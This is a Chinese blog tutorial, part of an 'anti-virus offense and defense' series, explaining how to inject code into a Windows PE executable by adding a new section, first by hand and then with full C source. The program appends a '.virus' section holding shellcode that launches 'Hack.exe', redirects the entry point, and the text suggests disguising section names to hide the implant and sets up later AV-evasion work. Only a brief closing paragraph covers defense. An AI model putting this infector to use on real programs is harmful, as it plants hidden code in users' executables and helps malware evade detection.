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反病毒攻防研究第005篇:添加节区实现代码的植入

时间:2014-09-10 12:38:10      阅读:339      评论:0      收藏:0      [点我收藏+]

标签:姜晔   病毒   安全   添加节区   感染   

一、前言

        上一篇文章所讨论的利用缝隙实现代码的植入有一个很大的问题,就是我们想要植入的代码的长度不能够比缝隙大,否则需要把自身的代码截成几个部分,再分别插入不同的缝隙中。而这次所讨论的方法是增加一个节区,这个节区完全可以达到私人订制的效果,其大小完全由我们自己来决定,这样的话,即便是代码较长,也不用担心。而这种方式最大的缺陷就是不利于恶意代码自身的隐藏,因此在现实中可能并不常用。其实,我在这里讨论节区的添加,是为了以后更加深入的讨论打下基础,因为在加壳以及免杀技术中,经常会对PE文件添加节区。这篇文章首先会讨论如何手工添加节区,之后会讨论编程实现节区的添加。

 

二、手工添加节区

        就我个人而言,只要不是过于繁琐,我都比较倾向于直接利用十六进制代码编辑软件来修改目标程序。因为当理解了各种文件的格式之后,纯手工对代码进行编辑会更加灵活,也更加方便。只要ShellCode不太长,那么手工添加节区来植入代码,其实还是比较容易的。一般来说,添加节区由以下四个步骤组成:

        1、在节表后面添加一个IMAGE_SECTION_HEADER,用于保存所添加的节的基本信息。

        2、更新IMAGE_FILE_HEADER中的NumberOfSections字段,添加了几个节区就增加多少。

        3、更新IMAGE_OPTIONAL_HEADER中的SizeOfImage字段,这里需要加上所添加节区的大小。如果添加代码,还需修改SizeOfCode的大小以及程序入口点。

        4、添加节区的数据。

        这里先用PEiD看一下上一篇文章中所编写的helloworld.exe的节区情况(这里所讨论的是Release版,如果是Debug版,会有所不同):

bubuko.com,布布扣

图1 用PEiD查看节区

        从截图中可以看到helloworld.exe包含有三个节区,再来看一下IMAGE_SECTION_HEADER的定义:

typedef struct _IMAGE_SECTION_HEADER {
        BYTE Name[IMAGE_SIZEOF_SHORT_NAME];      //8个字节的节区名称
        union {                                  //节区尺寸
                DWORD PhysicalAddress;
                DWORD VirtualSize;
        } Misc;
        DWORD VirtualAddress;                    //节区的RVA地址
        DWORD SizeOfRawData;                     //在文件中对齐后的尺寸
        DWORD PointerToRawData;                  //在文件中的偏移
        DWORD PointerToRelocations;              //在OBJ文件中使用,重定位的偏移
        DWORD PointerToLinenumbers;              //行号表的偏移(供调试用)
        WORD NumberOfRelocations;                //在OBJ文件中使用,重定位项数目
        WORD NumberofLinenumbers;                //行号表中行号的数目
        DWORD Characteristics;                   //节区的属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
        该结构体的成员很多,但是真正需要使用的只有在PEiD中显示的那6个,即Name、VirtualSize、VirtualAddress、SizeofRawData、PointerToRawData与Characteristics。结合Hex Editor Neo观察如下:

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图2 用Hex Editor Neo查看节区数据

        在图2中可以发现,IMAGE_SECTION_HEADER的长度是40个字节,每一项节表的相关数据在Hex Editor Neo中正好占了两行半的内容。这里再解释一下在PEiD中所显示的那六个成员的意义:

        1、Name:节区名称。这是一个8位ASCII码名(不是Unicode内码),用来定义节区名称。一般来说,节区名称以一个“.”开始(如.text),但是其实这个“.”并不是必需的。需要说明的是,如果节区的名称超过8个字节,则没有最后的终止标志“NULL”字节。带有一个“$”的节区名字会从链接器那里得到特殊的对待,前面带有“$”的相同名字的节区被合并,在合并后的节区中,它们是按“$”后面的字符字母顺序进行合并的。

        对于helloworld.exe这个程序来说,为了实现所添加节区的隐藏,可以将新添加的节区名称伪装成正常的节区名称,比如.crt、.bss、.edata或者.sdata等等。或者把原来正常的节区名称改掉,如将原来的.text改为.jy(我名字的缩写),而将所添加的节区名称命名为.text,一般来说,系统不会因为节区改了名字而出错。这里为了方便起见,将新节区的名字设定为.virus。

        2、VirtualSize(V.Size):指出实际的、被使用的节区大小,是节区在没进行对齐处理前的实际大小。如果VirtualSize大于SizeOfRawData,那么SizeOfRawData是来自可执行文件初始化数据的大小,与VirtualSize相差的字节用零填充。这个字段在OBJ文件中是被设定为0的。

        这里我将节的大小直接设定为对齐后的大小。由于文件对齐是0x1000字节,那么就采用最小值即可,直接设定为0x1000。由于计算机是小端显示,且占据4个字节,因此应当写为“00 10 00 00”,这种小端的书写方式在之后的数据填写中也会采用。

        3、VirtualAddress(V.Offset):表示节区装载到内存中的RVA。这个地址是按照内存页对齐的,它的值总是SectionAlignment的整数倍。在Microsoft工具中,第一个块的默认RVA为1000h。在OBJ中,该字段没有意义,并被设为0。

        VirtualAddress的值是上一个节区的起始位置加上上一个节对齐后的长度的值,在PEiD中可见,上一个节区的起始位置是0x7000,上个节区对齐后的长度是0x4000,因此新节区的起始位置是0xB000。

        4、SizeOfRawData(R.Size):该节区在磁盘文件中所占的大小。在可执行文件中,该字段包含经过FileAlignment调整后的块的长度。例如,指定FileAlignment的大小为200h,如果VirtualSize中的块的长度为19Ah个字节,这一块应保持的长度为200h个字节。

        这里只要填写一个最小值0x1000就可以。

        5、PointerToRawData(R.Offset):该节区在磁盘文件中的偏移。程序经编译或汇编后生成原始数据,这个字段用于给出原始数据在文件中的偏移。如果程序自装载PE或COFF文件(而不是由操作系统装入),这一字段比VirtualAddress还重要。在这种状态下,必须完全使用线性映像方法装入文件,所以需要在该偏移处找到块的数据,而不是VirtualAddress字段中的RVA地址。

        由于上一个节区的位移为0x7000,大小为0x3000,所以这里的R.Offset应该为0xA000。

        6、Characteristics(Flags):节区属性。该字段是一组指出节区属性(如代码/数据/可读/可写)的标志。具体的属性可以查表获得。

        这里可以直接参考.text的属性,即“20 0000 60”(包含代码,可读可执行)。

        那么依据上述分析,在紧接着上一个节区位置的0x240处开始,直接手工填写相关数据如下:

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图3 手工添加节区的基本信息

        至此,节区的基本信息添加完成,接下来需要修改这个PE文件的节区数量,之前该文件有3个节区,这里需要修改成4个。找到IMAGE_FILE_HEADER中的NumberOfSections字段进行修改:

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图4 更改节区数量

        接下来需要修改文件映像的大小,也就是SizeOfImage的值。因为这里我新添加了一个节区,那么就应该把新的节区的大小加上原始SizeOfImage的值,就是新的文件映像的大小。这里原始的SizeOfImage大小为0xB000,新节区的大小为0x1000,那么新的SizeOfImage的大小就是0xC000。

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图5 更改文件映像大小

        由于我在文件中添加了新的代码段,所以这里还需要修改SizeOfCode的大小,出现多个代码节,就应该把这个字段修改为它们的总和。我添加了0x1000字节的内容,那么就应将这个数据段修改成0x6000:

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图6 修改代码节的大小

        至此,修改PE结构字段的内容都已经做完了,现在开始需要添加真实的数据,根据上述分析,文件的起始位置为0xA000,长度为0x1000。填入ShellCode,并在其后填入00,将0x1000长度的空间补满(不补满的话,系统会报错,补多了的话,会显示有附加数据):

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图7 添加ShellCode

        这里的返回地址(0x00401203)与上一篇文章中的不同,需要注意。最后一步就是将程序的入口点修改为ShellCode的入口点,即将AddressOfEntryPoint修改为0xB000(RVA):
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图8 修改程序入口地址为ShellCode地址

        至此,所有修改完成,再次使用PEiD查看,如图所示:

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图9 添加成功

        经过实际测试,程序正常运行,效果与上一篇文章所讨论的相同,这里不再赘述。

 

三、编程添加节区

        与上一篇文章中的在缝隙中添加代码的方法类似,通过编程添加一个节区其实就是对文件的一系列操作,并且依然需要对PE文件的合法性进行检验。通过编程的方法添加节区和手动方法在步骤上是一样的,只不过是将上面的手动步骤以通过调用API函数的方式进行编程而已。完整代码如下:

#include <windows.h>
#define FILENAME "helloworld.exe"    //欲“感染”的文件名

char szSecName[] = ".virus";         //所添加的节区名称
int nSecSize = 4096;                 //所添加的节区大小(字节)

char shellcode[] =
        "\x33\xdb"                   //xor  ebx,ebx
        "\x53"                       //push ebx
        "\x68\x2e\x65\x78\x65"       //push 0x6578652e
        "\x68\x48\x61\x63\x6b"       //push 0x6b636148
        "\x8b\xc4"                   //mov  eax,esp 
        "\x53"                       //push ebx
        "\x50"                       //push eax
        "\xb8\x31\x32\x86\x7c"       //mov  eax,0x7c863231
        "\xff\xd0"                   //call eax 
        "\xb8\x90\x90\x90\x90"       //mov  eax,OEP
        "\xff\xe0\x90";              //jmp  eax

HANDLE hFile = NULL;
HANDLE hMap = NULL;
LPVOID lpBase = NULL;

DWORD AlignSize(int nSecSize, DWORD Alignment)
{
        int nSize = nSecSize;
        if (nSize % Alignment != 0 )
        {
                nSecSize = (nSize / Alignment + 1) * Alignment;
        }

        return nSecSize;
}

void AddSectionData(int nSecSize)
{
        PBYTE pByte = NULL;
        //申请用来添加数据的空间,这里需要减去ShellCode本身所占的空间
        pByte = (PBYTE)malloc(nSecSize-(strlen(shellcode)+3));
        ZeroMemory(pByte, nSecSize-(strlen(shellcode)+3));

        DWORD dwNum = 0;
        //令文件指针指向文件末尾,以准备添加数据
        SetFilePointer(hFile, 0, 0, FILE_END);
        //在文件的末尾写入ShellCode
        WriteFile(hFile, shellcode, strlen(shellcode)+3, &dwNum, NULL);
        //在ShellCode的末尾用00补充满
        WriteFile(hFile, pByte, nSecSize-(strlen(shellcode)+3), &dwNum, NULL);
        FlushFileBuffers(hFile);

        free(pByte);
}

int main()
{	
        hFile = CreateFile(FILENAME,
                           GENERIC_READ | GENERIC_WRITE,
                           FILE_SHARE_READ,
                           NULL,
                           OPEN_EXISTING,
                           FILE_ATTRIBUTE_NORMAL,
                           NULL);
        hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
        lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
	
        PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
        PIMAGE_NT_HEADERS pNtHeader = NULL;
    
        //PE文件验证,判断e_magic是否为MZ
        if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
        {
                UnmapViewOfFile(lpBase);
                CloseHandle(hMap);
                CloseHandle(hFile);
                return 0;
         }
        //根据e_lfanew来找到Signature标志位
        pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
        //PE文件验证,判断Signature是否为PE
        if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
        {
                UnmapViewOfFile(lpBase);
                CloseHandle(hMap);
                CloseHandle(hFile);
                return 0;
        }
	
        int nSecNum = pNtHeader->FileHeader.NumberOfSections;
        DWORD dwFileAlignment = pNtHeader->OptionalHeader.FileAlignment;
        DWORD dwSecAlignment = pNtHeader->OptionalHeader.SectionAlignment;

        PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((DWORD)
                &(pNtHeader->OptionalHeader)+pNtHeader->
                FileHeader.SizeOfOptionalHeader);

        PIMAGE_SECTION_HEADER pTmpSec = pSecHeader + nSecNum;

        //拷贝节区名称
        strncpy((char *)pTmpSec->Name, szSecName, 7);
        //节的内存大小
        pTmpSec->Misc.VirtualSize = AlignSize(nSecSize, dwSecAlignment);
        //节的内存起始位置
        pTmpSec->VirtualAddress = pSecHeader[nSecNum - 1].VirtualAddress + 
                AlignSize(pSecHeader[nSecNum - 1].Misc.VirtualSize, dwSecAlignment);
        //节的文件大小
        pTmpSec->SizeOfRawData = AlignSize(nSecSize, dwFileAlignment);
        //节的文件起始位置
        pTmpSec->PointerToRawData = pSecHeader[nSecNum - 1].PointerToRawData + 
                AlignSize(pSecHeader[nSecNum - 1].SizeOfRawData, dwSecAlignment);
        //节的属性(包含代码,可执行,可读)
        pTmpSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ ;

        //修正节的数量,自增1
        pNtHeader->FileHeader.NumberOfSections ++;
        //修正映像大小
        pNtHeader->OptionalHeader.SizeOfImage += pTmpSec->Misc.VirtualSize;

        //将程序的入口地址写入ShellCode
        DWORD dwOep = pNtHeader->OptionalHeader.ImageBase+pNtHeader->OptionalHeader.AddressOfEntryPoint;
        *(DWORD *)&shellcode[25] = dwOep;

        //添加节区数据
        AddSectionData(pTmpSec->SizeOfRawData);
	
        //修正代码长度(只在添加代码时才需修改此项)
        pNtHeader->OptionalHeader.SizeOfCode += pTmpSec->SizeOfRawData;
        //修正程序的入口地址(只在添加代码并想让ShellCode提前执行时才需修改此项)
        pNtHeader->OptionalHeader.AddressOfEntryPoint = pTmpSec->VirtualAddress;

        FlushViewOfFile(lpBase, 0);

        UnmapViewOfFile(lpBase);
        CloseHandle(hMap);
        CloseHandle(hFile);
	
        return 0;
}

        以上代码比较简单,就是基本的文件操作,已给出了相关的注释,这里不再论述。

 

四、防范方法

        在我看来,感染类病毒并不容易清除,因为它会把自身代码植入到正常PE文件中,尽管中毒后可以运用杀毒工具针对其对计算机造成的损害进行清除,但是难以删除隐藏在正常程序中的恶意代码。虽然我们可以不再运行含有恶意程序的软件,但是只要运行过一次,那么它就有可能将计算机中的所有PE文件感染,这样即便我们使用杀毒工具清除了病毒所产生的不良行为,但是一旦运行别的程序,依旧会再次中病毒。而且就算有方法将藏身于PE文件中的病毒代码彻底清除,也有可能破坏程序主体,使该程序不能够正常运行。因此,最好的方法就是从源头上杜绝这种情况的出现,不要下载和运行来历不明的程序,并且安装杀毒软件。也就是说,一定要培养出良好的计算机安全意识。

 

五、小结

        这次我们讨论了手工以及编程添加节区的方法,其实它的原理非常简单,只是比较繁琐而已。通过这篇文章的讨论,也为以后的免杀技术的讨论打下了基础。

反病毒攻防研究第005篇:添加节区实现代码的植入

标签:姜晔   病毒   安全   添加节区   感染   

原文地址:http://blog.csdn.net/ioio_jy/article/details/39178141

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